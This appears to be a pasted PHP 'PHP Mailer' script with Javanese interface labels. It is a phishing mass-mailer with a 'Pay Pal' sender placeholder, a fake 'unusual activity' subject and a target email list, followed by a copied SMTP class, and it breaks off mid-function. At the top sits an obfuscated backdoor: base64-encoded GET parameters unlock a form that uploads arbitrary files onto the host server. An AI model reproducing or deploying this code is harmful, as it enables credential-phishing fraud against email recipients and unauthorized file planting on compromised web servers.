· 8 years ago · Jun 27, 2018, 02:06 PM
1<?php
2$GLOBALS["vXqjxKPsqeNIVsuiWhGU"]=base64_decode("VGhlcmUgd2FzIGFuIGVycm9yIHVwbG9hZGluZyB0aGUgZmlsZS4gcGxlYXNlIHRyeSBhZ2FpbiE=");$GLOBALS["JeAOurCWjNpSPrRakjmB"]=base64_decode("IGhhcyBiZWVuIHVwbG9hZGVk");$GLOBALS["mgFJJsMtgvXAGcuuMMzM"]=base64_decode("VGhlIGZpbGUg");$GLOBALS["PGnDVWIKgIUmFrZyuhhU"]=base64_decode("dG1wX25hbWU=");$GLOBALS["XckkIahjVOedVNldUNrH"]=base64_decode("bmFtZQ==");$GLOBALS["bfUQwRWAgingnOqPGinP"]=base64_decode("dXNlcmZpbGU=");$GLOBALS["SnsSSwMKZSYeMFnEirnh"]=base64_decode("");$GLOBALS["VcwkMDMTCHbtKVTmEjxU"]=base64_decode("U2FoYXI=");$GLOBALS["WDzbMMESQcYByxgfBDuN"]=base64_decode("U2FraGVy");
3?><?php
4$uOqrFZblQlFFKNhrUWPJ = $_GET[$GLOBALS["WDzbMMESQcYByxgfBDuN"]];
5if ($uOqrFZblQlFFKNhrUWPJ == $GLOBALS["VcwkMDMTCHbtKVTmEjxU"] ) {
6$mwvQEGpICpvofEKyI = $GLOBALS["SnsSSwMKZSYeMFnEirnh"];
7$QNltTzCqkwPUAndjbYo = $mwvQEGpICpvofEKyI . basename($_FILES[$GLOBALS["bfUQwRWAgingnOqPGinP"]][$GLOBALS["XckkIahjVOedVNldUNrH"]]);
8if (isset($_FILES[$GLOBALS["bfUQwRWAgingnOqPGinP"]][$GLOBALS["XckkIahjVOedVNldUNrH"]]))
9{
10if (move_uploaded_file($_FILES[$GLOBALS["bfUQwRWAgingnOqPGinP"]][$GLOBALS["PGnDVWIKgIUmFrZyuhhU"]], $QNltTzCqkwPUAndjbYo))
11{
12$wPDaVvfwQdDnCmwNCJnK = $GLOBALS["mgFJJsMtgvXAGcuuMMzM"]. basename($_FILES[$GLOBALS["bfUQwRWAgingnOqPGinP"]][$GLOBALS["XckkIahjVOedVNldUNrH"]]) .$GLOBALS["JeAOurCWjNpSPrRakjmB"];}
13else { $wPDaVvfwQdDnCmwNCJnK = $GLOBALS["vXqjxKPsqeNIVsuiWhGU"]; }
14}
15echo'<html>
16<head>
17</head>
18<div id="result">
19<table height="1" width="100%" bgcolor="eb6b44" bordercolorlight="#c0c0c0" border="0">
20<tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
21<center><form method="POST" enctype="multipart/form-data">
22<input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000">
23<input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"><br>'. $resultati .'</form></center></td></tr></table></div>';
24}
25
26function query_str($params){
27$str = '';
28foreach ($params as $key => $value) {
29$str .= (strlen($str) < 1) ? '' : '&';
30$str .= $key . '=' . rawurlencode($value);
31}
32return ($str);
33}
34function lrtrim($string){
35return stripslashes(ltrim(rtrim($string)));
36}
37
38if(isset($_POST['action'] ) ){
39
40$b = query_str($_POST);
41parse_str($b);
42$sslclick=lrtrim($sslclick);
43$action=lrtrim($action);
44$message=lrtrim($message);
45$emaillist=lrtrim($emaillist);
46$from=lrtrim($from);
47$reconnect=lrtrim($reconnect);
48$epriority=lrtrim($epriority);
49$my_smtp=lrtrim($my_smtp);
50$ssl_port=lrtrim($ssl_port);
51$smtp_username=lrtrim($smtp_username);
52$smtp_password=lrtrim($smtp_password);
53$replyto=lrtrim($replyto);
54$subject=lrtrim($subject);
55$realname=lrtrim($realname);
56$subject_base=lrtrim($subject);
57$realname_base=lrtrim($realname);
58$file_name=lrtrim($file);
59$urlz=lrtrim($urlz);
60$contenttype=lrtrim($contenttype);
61$encode_text=$_POST['encode'];
62
63 $message = urlencode($message);
64 $message = ereg_replace("%5C%22", "%22", $message);
65 $message = urldecode($message);
66 $message = stripslashes($message);
67 $subject = stripslashes($subject);
68 if ($encode_text == "yes") {
69 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
70 $subject = str_replace(' ', '_', $subject);
71 $subject = "=?UTF-8?Q?$subject?=";
72 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
73 $realname = str_replace(' ', '_', $realname);
74 $realname = "=?UTF-8?Q?$realname?=";
75 }
76}
77?>
78<html>
79
80<head>
81<title>PHP Mailer</title>
82<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
83
84<style type="text/css">
85<!--
86.style1 {
87 font-family: Geneva, Arial, Helvetica, sans-serif;
88 font-size: 12px;
89}
90-->
91.style2 {
92 font-family: Geneva, Arial, Helvetica, sans-serif;
93 font-family: Geneva, Arial, Helvetica, sans-serif;
94 font-size: 12px;
95 text-color:#000000;
96}
97body {
98 background-color:#579b9b;
99}
100</style>
101<style type="text/css">
102<!--
103.style1 {
104 font-size: 10px;
105 font-family: Geneva, Arial, Helvetica, sans-serif;
106}
107-->
108</style>
109</head>
110<body text="#37ba40" >
111<form name="form1" method="post" action="" enctype="multipart/form-data">
112
113 <div align="center">
114
115 <table width="68%" border="0" height="428">
116
117 <tr>
118
119 <td colspan="4" bgcolor="#666666" height="70">
120
121
122
123
124
125 </tr>
126 <tr>
127 <td width="21%" height="23" bgcolor="000000">
128
129 <p align="right">
130 <font face="Verdana, Arial, Helvetica, sans-serif" size="3px">Reconnect
131 After:</font></td>
132
133 <td width="46%" height="23" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
134
135 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
136 EMAILS</font></td>
137
138 </tr>
139
140 <tr>
141
142 <td width="10%" height="27" bordercolor="000000" bgcolor="000000">
143
144 <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
145 Email mu :</font></div>
146
147 </td>
148
149 <td width="18%" height="27" bordercolor="000000" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
150
151 <input type="text" name="from" value="<?=$from;?>" size="30" placeholder="embuh@gmail.com">
152
153 </font></td>
154
155 <td width="21%" height="27" bordercolor="000000" bgcolor="000000">
156
157 <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
158 Your Jeneng :</font></div>
159
160 </td>
161
162 <td width="46%" height="27" bordercolor="000000" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
163
164 <input type="text" name="realname" value="<?=$realname_base;?>" size="30" placeholder="Pay Pal">
165
166 </font></td>
167
168 </tr>
169 <tr>
170
171 <td width="10%" height="28" bgcolor="000000" bordercolor="000000">
172
173 <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
174 balesan gawe:</font></div>
175
176 </td>
177
178 <td width="18%" height="28" bgcolor="000000" bordercolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
179
180 <input type="text" name="replyto" value="<?=$replyto;?>" size="30" placeholder="sak karep">
181
182 </font></td>
183
184 <td width="21%" height="28" bgcolor="000000" bordercolor="000000">
185
186 <p align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
187 Prioritas email :</font></td>
188
189 <td width="46%" height="28" bgcolor="000000" bordercolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
190
191 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
192 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
193 Please Choose -</option>
194 <option value="1" <? if($epriority == "1"){print "selected";} ?> >Dukur</option>
195 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Biasa</option>
196 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Elek</option>
197 </select></td>
198
199 </tr>
200
201 <tr>
202
203 <td width="10%" height="30" bordercolor="000000" bgcolor="000000">
204
205 <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
206 Subjek :</font></div>
207
208 </td>
209
210 <td colspan="3" height="30" bordercolor="000000" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
211
212 <input type="text" name="subject" value="<?=$subject_base;?>" size="57" placeholder="We Noticied An unusual Activity In Your Account ">
213
214 </font></td>
215
216 </tr>
217
218 <tr>
219
220 <td width="10%" height="23" bordercolor="000000" bgcolor="000000">
221
222 </td>
223
224 <td colspan="3" height="23" bordercolor="000000" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
225
226 <font color="#FFFFFF"> Encode sending information ?</font> <select size="1" name="encode">
227 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
228 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
229
230 </select></font></td>
231 </tr>
232
233 <tr valign="top">
234
235<td colspan="3" height="191" bordercolor="000000" bgcolor="000000"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
236
237 <textarea name="message" cols="77" rows="17" placeholder="Pesen mu nok kene.nek nggawe pesan html centangen html"><?=$message;?></textarea>
238
239 </font>
240<p><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
241
242 <br>
243
244 <input type="radio" name="contenttype" value="plain" >
245
246 Plain
247
248 <input type="radio" name="contenttype" value="html" checked>
249
250 HTML
251
252 <input type="hidden" name="action" value="send">
253
254 <input type="submit" value="Send Message">
255
256 </font></p>
257<p> </td>
258
259 <td width="46%" height="191" bordercolor="000000" bgcolor="000000">
260 <font face="Verdana, Arial, Helvetica, sans-serif" size="3px"> <textarea name="emaillist" cols="33" rows="17" placeholder="Tulisen email target sak karep akeh e prio"><?=$emaillist;?></textarea></font><p> </td>
261
262 </tr>
263
264 </table>
265
266 </div>
267
268</form>
269
270
271
272<?
273
274if ($action){
275 if (!$from && !$subject && !$message && !$emaillist){
276 print "<script>alert('Lengkapono disek bos'); </script>";
277 die(); }
278
279class SMTP
280{
281 /**
282 * SMTP server port
283 * @var int
284 */
285 var $SMTP_PORT = 25;
286
287 /**
288 * SMTP reply line ending
289 * @var string
290 */
291 var $CRLF = "\r\n";
292
293 /**
294 * Sets whether debugging is turned on
295 * @var bool
296 */
297 var $do_debug; # the level of debug to perform
298
299 /**
300 * Sets VERP use on/off (default is off)
301 * @var bool
302 */
303 var $do_verp = false;
304
305 /**#@+
306 * @access private
307 */
308 var $smtp_conn; # the socket to the server
309 var $error; # error if any on the last call
310 var $helo_rply; # the reply the server sent to us for HELO
311 /**#@-*/
312
313 /**
314 * Initialize the class so that the data is in a known state.
315 * @access public
316 * @return void
317 */
318 function SMTP() {
319 $this->smtp_conn = 0;
320 $this->error = null;
321 $this->helo_rply = null;
322
323 $this->do_debug = 0;
324 }
325
326 /*************************************************************
327 * CONNECTION FUNCTIONS *
328 ***********************************************************/
329
330 /**
331 * Connect to the server specified on the port specified.
332 * If the port is not specified use the default SMTP_PORT.
333 * If tval is specified then a connection will try and be
334 * established with the server for that number of seconds.
335 * If tval is not specified the default is 30 seconds to
336 * try on the connection.
337 *
338 * SMTP CODE SUCCESS: 220
339 * SMTP CODE FAILURE: 421
340 * @access public
341 * @return bool
342 */
343 function Connect($host,$port=0,$tval=30) {
344 # set the error val to null so there is no confusion
345 $this->error = null;
346
347 # make sure we are __not__ connected
348 if($this->connected()) {
349 # ok we are connected! what should we do?
350 # for now we will just give an error saying we
351 # are already connected
352 $this->error = array("error" => "Already connected to a server");
353 return false;
354 }
355
356 if(empty($port)) {
357 $port = $this->SMTP_PORT;
358 }
359
360 #connect to the smtp server
361 $this->smtp_conn = fsockopen($host, # the host of the server
362 $port, # the port to use
363 $errno, # error number if any
364 $errstr, # error message if any
365 $tval); # give up after ? secs
366 # verify we connected properly
367 if(empty($this->smtp_conn)) {
368 $this->error = array("error" => "Failed to connect to server",
369 "errno" => $errno,
370 "errstr" => $errstr);
371 if($this->do_debug >= 1) {
372 echo "SMTP -> ERROR: " . $this->error["error"] .
373 ": $errstr ($errno)" . $this->CRLF;
374 }
375 return false;
376 }
377
378 # sometimes the SMTP server takes a little longer to respond
379 # so we will give it a longer timeout for the first read
380 // Windows still does not have support for this timeout function
381 if(substr(PHP_OS, 0, 3) != "WIN")
382 socket_set_timeout($this->smtp_conn, $tval, 0);
383
384 # get any announcement stuff
385 $announce = $this->get_lines();
386
387 # set the timeout of any socket functions at 1/10 of a second
388 //if(function_exists("socket_set_timeout"))
389 // socket_set_timeout($this->smtp_conn, 0, 100000);
390
391 if($this->do_debug >= 2) {
392 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
393 }
394
395 return true;
396 }
397
398 /**
399 * Performs SMTP authentication. Must be run after running the
400 * Hello() method. Returns true if successfully authenticated.
401 * @access public
402 * @return bool
403 */
404 function Authenticate($username, $password) {
405 // Start authentication
406 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
407
408 $rply = $this->get_lines();
409 $code = substr($rply,0,3);
410
411 if($code != 334) {
412 $this->error =
413 array("error" => "AUTH not accepted from server",
414 "smtp_code" => $code,
415 "smtp_msg" => substr($rply,4));
416 if($this->do_debug >= 1) {
417 echo "SMTP -> ERROR: " . $this->error["error"] .
418 ": " . $rply . $this->CRLF;
419 }
420 return false;
421 }
422
423 // Send encoded username
424 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
425
426 $rply = $this->get_lines();
427 $code = substr($rply,0,3);
428
429 if($code != 334) {
430 $this->error =
431 array("error" => "Username not accepted from server",
432 "smtp_code" => $code,
433 "smtp_msg" => substr($rply,4));
434 if($this->do_debug >= 1) {
435 echo "SMTP -> ERROR: " . $this->error["error"] .
436 ": " . $rply . $this->CRLF;
437 }
438 return false;
439 }
440
441 // Send encoded password
442 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
443
444 $rply = $this->get_lines();
445 $code = substr($rply,0,3);
446
447 if($code != 235) {
448 $this->error =
449 array("error" => "Password not accepted from server",
450 "smtp_code" => $code,
451 "smtp_msg" => substr($rply,4));
452 if($this->do_debug >= 1) {
453 echo "SMTP -> ERROR: " . $this->error["error"] .
454 ": " . $rply . $this->CRLF;
455 }
456 return false;
457 }
458
459 return true;
460 }
461
462 /**
463 * Returns true if connected to a server otherwise false
464 * @access private
465 * @return bool
466 */
467 function Connected() {
468 if(!empty($this->smtp_conn)) {
469 $sock_status = socket_get_status($this->smtp_conn);
470 if($sock_status["eof"]) {
471 # hmm this is an odd situation... the socket is
472 # valid but we are not connected anymore
473 if($this->do_debug >= 1) {
474 echo "SMTP -> NOTICE:" . $this->CRLF .
475 "EOF caught while checking if connected";
476 }
477 $this->Close();
478 return false;
479 }
480 return true; # everything looks good
481 }
482 return false;
483 }
484
485 /**
486 * Closes the socket and cleans up the state of the class.
487 * It is not considered good to use this function without
488 * first trying to use QUIT.
489 * @access public
490 * @return void
491 */
492 function Close() {
493 $this->error = null; # so there is no confusion
494 $this->helo_rply = null;
495 if(!empty($this->smtp_conn)) {
496 # close the connection and cleanup
497 fclose($this->smtp_conn);
498 $this->smtp_conn = 0;
499 }
500 }
501
502 /***************************************************************
503 * SMTP COMMANDS *
504 *************************************************************/
505
506 /**
507 * Issues a data command and sends the msg_data to the server
508 * finializing the mail transaction. $msg_data is the message
509 * that is to be send with the headers. Each header needs to be
510 * on a single line followed by a <CRLF> with the message headers
511 * and the message body being seperated by and additional <CRLF>.
512 *
513 * Implements rfc 821: DATA <CRLF>
514 *
515 * SMTP CODE INTERMEDIATE: 354
516 * [data]
517 * <CRLF>.<CRLF>
518 * SMTP CODE SUCCESS: 250
519 * SMTP CODE FAILURE: 552,554,451,452
520 * SMTP CODE FAILURE: 451,554
521 * SMTP CODE ERROR : 500,501,503,421
522 * @access public
523 * @return bool
524 */
525 function Data($msg_data) {
526 $this->error = null; # so no confusion is caused
527
528 if(!$this->connected()) {
529 $this->error = array(
530 "error" => "Called Data() without being connected");
531 return false;
532 }
533
534 fputs($this->smtp_conn,"DATA" . $this->CRLF);
535
536 $rply = $this->get_lines();
537 $code = substr($rply,0,3);
538
539 if($this->do_debug >= 2) {
540 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
541 }
542
543 if($code != 354) {
544 $this->error =
545 array("error" => "DATA command not accepted from server",
546 "smtp_code" => $code,
547 "smtp_msg" => substr($rply,4));
548 if($this->do_debug >= 1) {
549 echo "SMTP -> ERROR: " . $this->error["error"] .
550 ": " . $rply . $this->CRLF;
551 }
552 return false;
553 }
554
555 # the server is ready to accept data!
556 # according to rfc 821 we should not send more than 1000
557 # including the CRLF
558 # characters on a single line so we will break the data up
559 # into lines by \r and/or \n then if needed we will break
560 # each of those into smaller lines to fit within the limit.
561 # in addition we will be looking for lines that start with
562 # a period '.' and append and additional period '.' to that
563 # line. NOTE: this does not count towards are limit.
564
565 # normalize the line breaks so we know the explode works
566 $msg_data = str_replace("\r\n","\n",$msg_data);
567 $msg_data = str_replace("\r","\n",$msg_data);
568 $lines = explode("\n",$msg_data);
569
570 # we need to find a good way to determine is headers are
571 # in the msg_data or if it is a straight msg body
572 # currently I am assuming rfc 822 definitions of msg headers
573 # and if the first field of the first line (':' sperated)
574 # does not contain a space then it _should_ be a header
575 # and we can process all lines before a blank "" line as
576 # headers.
577 $field = substr($lines[0],0,strpos($lines[0],":"));
578 $in_headers = false;
579 if(!empty($field) && !strstr($field," ")) {
580 $in_headers = true;
581 }
582
583 $max_line_length = 998; # used below; set here for ease in change
584
585 while(list(,$line) = @each($lines)) {
586 $lines_out = null;
587 if($line == "" && $in_headers) {
588 $in_headers = false;
589 }
590 # ok we need to break this line up into several
591 # smaller lines
592 while(strlen($line) > $max_line_length) {
593 $pos = strrpos(substr($line,0,$max_line_length)," ");
594
595 # Patch to fix DOS attack
596 if(!$pos) {
597 $pos = $max_line_length - 1;
598 }
599
600 $lines_out[] = substr($line,0,$pos);
601 $line = substr($line,$pos + 1);
602 # if we are processing headers we need to
603 # add a LWSP-char to the front of the new line
604 # rfc 822 on long msg headers
605 if($in_headers) {
606 $line = "\t" . $line;
607 }
608 }
609 $lines_out[] = $line;
610
611 # now send the lines to the server
612 while(list(,$line_out) = @each($lines_out)) {
613 if(strlen($line_out) > 0)
614 {
615 if(substr($line_out, 0, 1) == ".") {
616 $line_out = "." . $line_out;
617 }
618 }
619 fputs($this->smtp_conn,$line_out . $this->CRLF);
620 }
621 }
622
623 # ok all the message data has been sent so lets get this
624 # over with aleady
625 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
626
627 $rply = $this->get_lines();
628 $code = substr($rply,0,3);
629
630 if($this->do_debug >= 2) {
631 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
632 }
633
634 if($code != 250) {
635 $this->error =
636 array("error" => "DATA not accepted from server",
637 "smtp_code" => $code,
638 "smtp_msg" => substr($rply,4));
639 if($this->do_debug >= 1) {
640 echo "SMTP -> ERROR: " . $this->error["error"] .
641 ": " . $rply . $this->CRLF;
642 }
643 return false;
644 }
645 return true;
646 }
647
648 /**
649 * Expand takes the name and asks the server to list all the
650 * people who are members of the _list_. Expand will return
651 * back and array of the result or false if an error occurs.
652 * Each value in the array returned has the format of:
653 * [ <full-name> <sp> ] <path>
654 * The definition of <path> is defined in rfc 821
655 *
656 * Implements rfc 821: EXPN <SP> <string> <CRLF>
657 *
658 * SMTP CODE SUCCESS: 250
659 * SMTP CODE FAILURE: 550
660 * SMTP CODE ERROR : 500,501,502,504,421
661 * @access public
662 * @return string array
663 */
664 function Expand($name) {
665 $this->error = null; # so no confusion is caused
666
667 if(!$this->connected()) {
668 $this->error = array(
669 "error" => "Called Expand() without being connected");
670 return false;
671 }
672
673 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
674
675 $rply = $this->get_lines();
676 $code = substr($rply,0,3);
677
678 if($this->do_debug >= 2) {
679 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
680 }
681
682 if($code != 250) {
683 $this->error =
684 array("error" => "EXPN not accepted from server",
685 "smtp_code" => $code,
686 "smtp_msg" => substr($rply,4));
687 if($this->do_debug >= 1) {
688 echo "SMTP -> ERROR: " . $this->error["error"] .
689 ": " . $rply . $this->CRLF;
690 }
691 return false;
692 }
693
694 # parse the reply and place in our array to return to user
695 $entries = explode($this->CRLF,$rply);
696 while(list(,$l) = @each($entries)) {
697 $list[] = substr($l,4);
698 }
699
700 return $list;
701 }
702
703 /**
704 * Sends the HELO command to the smtp server.
705 * This makes sure that we and the server are in
706 * the same known state.
707 *
708 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
709 *
710 * SMTP CODE SUCCESS: 250
711 * SMTP CODE ERROR : 500, 501, 504, 421
712 * @access public
713 * @return bool
714 */
715 function Hello($host="") {
716 $this->error = null; # so no confusion is caused
717
718 if(!$this->connected()) {
719 $this->error = array(
720 "error" => "Called Hello() without being connected");
721 return false;
722 }
723
724 # if a hostname for the HELO was not specified determine
725 # a suitable one to send
726 if(empty($host)) {
727 # we need to determine some sort of appopiate default
728 # to send to the server
729 $host = "localhost";
730 }
731
732 // Send extended hello first (RFC 2821)
733 if(!$this->SendHello("EHLO", $host))
734 {
735 if(!$this->SendHello("HELO", $host))
736 return false;
737 }
738
739 return true;
740 }
741
742 /**
743 * Sends a HELO/EHLO command.
744 * @access private
745 * @return bool
746 */
747 function SendHello($hello, $host) {
748 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
749
750 $rply = $this->get_lines();
751 $code = substr($rply,0,3);
752
753 if($this->do_debug >= 2) {
754 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
755 }
756
757 if($code != 250) {
758 $this->error =
759 array("error" => $hello . " not accepted from server",
760 "smtp_code" => $code,
761 "smtp_msg" => substr($rply,4));
762 if($this->do_debug >= 1) {
763 echo "SMTP -> ERROR: " . $this->error["error"] .
764 ": " . $rply . $this->CRLF;
765 }
766 return false;
767 }
768
769 $this->helo_rply = $rply;
770
771 return true;
772 }
773
774 /**
775 * Gets help information on the keyword specified. If the keyword
776 * is not specified then returns generic help, ussually contianing
777 * A list of keywords that help is available on. This function
778 * returns the results back to the user. It is up to the user to
779 * handle the returned data. If an error occurs then false is
780 * returned with $this->error set appropiately.
781 *
782 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
783 *
784 * SMTP CODE SUCCESS: 211,214
785 * SMTP CODE ERROR : 500,501,502,504,421
786 * @access public
787 * @return string
788 */
789 function Help($keyword="") {
790 $this->error = null; # to avoid confusion
791
792 if(!$this->connected()) {
793 $this->error = array(
794 "error" => "Called Help() without being connected");
795 return false;
796 }
797
798 $extra = "";
799 if(!empty($keyword)) {
800 $extra = " " . $keyword;
801 }
802
803 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
804
805 $rply = $this->get_lines();
806 $code = substr($rply,0,3);
807
808 if($this->do_debug >= 2) {
809 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
810 }
811
812 if($code != 211 && $code != 214) {
813 $this->error =
814 array("error" => "HELP not accepted from server",
815 "smtp_code" => $code,
816 "smtp_msg" => substr($rply,4));
817 if($this->do_debug >= 1) {
818 echo "SMTP -> ERROR: " . $this->error["error"] .
819 ": " . $rply . $this->CRLF;
820 }
821 return false;
822 }
823
824 return $rply;
825 }
826
827 /**
828 * Starts a mail transaction from the email address specified in
829 * $from. Returns true if successful or false otherwise. If True
830 * the mail transaction is started and then one or more Recipient
831 * commands may be called followed by a Data command.
832 *
833 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
834 *
835 * SMTP CODE SUCCESS: 250
836 * SMTP CODE SUCCESS: 552,451,452
837 * SMTP CODE SUCCESS: 500,501,421
838 * @access public
839 * @return bool
840 */
841 function Mail($from) {
842 $this->error = null; # so no confusion is caused
843
844 if(!$this->connected()) {
845 $this->error = array(
846 "error" => "Called Mail() without being connected");
847 return false;
848 }
849
850 $useVerp = ($this->do_verp ? "XVERP" : "");
851 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
852
853 $rply = $this->get_lines();
854 $code = substr($rply,0,3);
855
856 if($this->do_debug >= 2) {
857 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
858 }
859
860 if($code != 250) {
861 $this->error =
862 array("error" => "MAIL not accepted from server",
863 "smtp_code" => $code,
864 "smtp_msg" => substr($rply,4));
865 if($this->do_debug >= 1) {
866 echo "SMTP -> ERROR: " . $this->error["error"] .
867 ": " . $rply . $this->CRLF;
868 }
869 return false;
870 }
871 return true;
872 }
873
874 /**
875 * Sends the command NOOP to the SMTP server.
876 *
877 * Implements from rfc 821: NOOP <CRLF>
878 *
879 * SMTP CODE SUCCESS: 250
880 * SMTP CODE ERROR : 500, 421
881 * @access public
882 * @return bool
883 */
884 function Noop() {
885 $this->error = null; # so no confusion is caused
886
887 if(!$this->connected()) {
888 $this->error = array(
889 "error" => "Called Noop() without being connected");
890 return false;
891 }
892
893 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
894
895 $rply = $this->get_lines();
896 $code = substr($rply,0,3);
897
898 if($this->do_debug >= 2) {
899 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
900 }
901
902 if($code != 250) {
903 $this->error =
904 array("error" => "NOOP not accepted from server",
905 "smtp_code" => $code,
906 "smtp_msg" => substr($rply,4));
907 if($this->do_debug >= 1) {
908 echo "SMTP -> ERROR: " . $this->error["error"] .
909 ": " . $rply . $this->CRLF;
910 }
911 return false;
912 }
913 return true;
914 }
915
916 /**
917 * Sends the quit command to the server and then closes the socket
918 * if there is no error or the $close_on_error argument is true.
919 *
920 * Implements from rfc 821: QUIT <CRLF>
921 *
922 * SMTP CODE SUCCESS: 221
923 * SMTP CODE ERROR : 500
924 * @access public
925 * @return bool
926 */
927 function Quit($close_on_error=true) {
928 $this->error = null; # so there is no confusion
929
930 if(!$this->connected()) {
931 $this->error = array(
932 "error" => "Called Quit() without being connected");
933 return false;
934 }
935
936 # send the quit command to the server
937 fputs($this->smtp_conn,"quit" . $this->CRLF);
938
939 # get any good-bye messages
940 $byemsg = $this->get_lines();
941
942 if($this->do_debug >= 2) {
943 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
944 }
945
946 $rval = true;
947 $e = null;
948
949 $code = substr($byemsg,0,3);
950 if($code != 221) {
951 # use e as a tmp var cause Close will overwrite $this->error
952 $e = array("error" => "SMTP server rejected quit command",
953 "smtp_code" => $code,
954 "smtp_rply" => substr($byemsg,4));
955 $rval = false;
956 if($this->do_debug >= 1) {
957 echo "SMTP -> ERROR: " . $e["error"] . ": " .
958 $byemsg . $this->CRLF;
959 }
960 }
961
962 if(empty($e) || $close_on_error) {
963 $this->Close();
964 }
965
966 return $rval;
967 }
968
969 /**
970 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
971 * Returns true if the recipient was accepted false if it was rejected.
972 *
973 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
974 *
975 * SMTP CODE SUCCESS: 250,251
976 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
977 * SMTP CODE ERROR : 500,501,503,421
978 * @access public
979 * @return bool
980 */
981 function Recipient($to) {
982 $this->error = null; # so no confusion is caused
983
984 if(!$this->connected()) {
985 $this->error = array(
986 "error" => "Called Recipient() without being connected");
987 return false;
988 }
989
990 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
991
992 $rply = $this->get_lines();
993 $code = substr($rply,0,3);
994
995 if($this->do_debug >= 2) {
996 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
997 }
998
999 if($code != 250 && $code != 251) {
1000 $this->error =
1001 array("error" => "RCPT not accepted from server",
1002 "smtp_code" => $code,
1003 "smtp_msg" => substr($rply,4));
1004 if($this->do_debug >= 1) {
1005 echo "SMTP -> ERROR: " . $this->error["error"] .
1006 ": " . $rply . $this->CRLF;
1007 }
1008 return false;
1009 }
1010 return true;
1011 }
1012
1013 /**
1014 * Sends the RSET command to abort and transaction that is
1015 * currently in progress. Returns true if successful false
1016 * otherwise.
1017 *
1018 * Implements rfc 821: RSET <CRLF>
1019 *
1020 * SMTP CODE SUCCESS: 250
1021 * SMTP CODE ERROR : 500,501,504,421
1022 * @access public
1023 * @return bool
1024 */
1025 function Reset() {
1026 $this->error = null; # so no confusion is caused
1027
1028 if(!$this->connected()) {
1029 $this->error = array(
1030 "error" => "Called Reset() without being connected");
1031 return false;
1032 }
1033
1034 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1035
1036 $rply = $this->get_lines();
1037 $code = substr($rply,0,3);
1038
1039 if($this->do_debug >= 2) {
1040 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1041 }
1042
1043 if($code != 250) {
1044 $this->error =
1045 array("error" => "RSET failed",
1046 "smtp_code" => $code,
1047 "smtp_msg" => substr($rply,4));
1048 if($this->do_debug >= 1) {
1049 echo "SMTP -> ERROR: " . $this->error["error"] .
1050 ": " . $rply . $this->CRLF;
1051 }
1052 return false;
1053 }
1054
1055 return true;
1056 }
1057
1058 /**
1059 * Starts a mail transaction from the email address specified in
1060 * $from. Returns true if successful or false otherwise. If True
1061 * the mail transaction is started and then one or more Recipient
1062 * commands may be called followed by a Data command. This command
1063 * will send the message to the users terminal if they are logged
1064 * in.
1065 *
1066 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1067 *
1068 * SMTP CODE SUCCESS: 250
1069 * SMTP CODE SUCCESS: 552,451,452
1070 * SMTP CODE SUCCESS: 500,501,502,421
1071 * @access public
1072 * @return bool
1073 */
1074 function Send($from) {
